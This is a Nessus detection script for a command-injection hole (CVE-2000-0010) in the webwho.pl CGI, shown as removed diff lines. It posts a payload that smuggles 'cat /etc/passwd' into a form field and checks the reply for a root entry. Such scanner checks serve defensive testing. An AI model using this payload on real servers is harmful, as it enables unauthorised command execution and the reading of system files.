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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(11333);
- script_bugtraq_id(892);
- script_version ("$Revision: 1.5 $");
- script_cve_id("CVE-2000-0010");
-
- name["english"] = "webwho plus";
-
- script_name(english:name["english"]);
-
- desc["english"] = "The CGI 'webwho+' allows an attacker
- to view any file on the target computer, as well as execute
- arbitrary commands.
-
- Solution : Upgrade to a newer version.
-
- Risk factor : High
- ";
-
-
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Checks if webwho.pl is vulnerable";
-
- script_summary(english:summary["english"]);
-
- script_category(ACT_GATHER_INFO);
-
-
- script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2003 Renaud Deraison");
- family["english"] = "CGI abuses";
- family["francais"] = "Abus de CGI";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "no404.nasl", "httpver.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("http_func.inc");
- include("http_keepalive.inc");
-
-
- port = get_http_port(default:80);
-
- if(!get_port_state(port))exit(0);
-
- foreach dir (cgi_dirs())
- {
- cmd = 'command=X&type="echo foo;cat /etc/passwd;echo foo&Check=X';
- req = http_post(item:string(dir, "/webwho.pl"), port:port);
- idx = stridx(req, string("\r\n\r\n"));
- req = insstr(req, string("\r\nContent-Length: ", strlen(cmd), "\r\n\r\n"), idx);
- req = string(req, cmd);
- result = http_keepalive_send_recv(port:port, data:req);
- if(result == NULL) exit(0);
- if(egrep(pattern:".*root:.*:0:[01]:.*", string:result))security_hole(port);
- }
-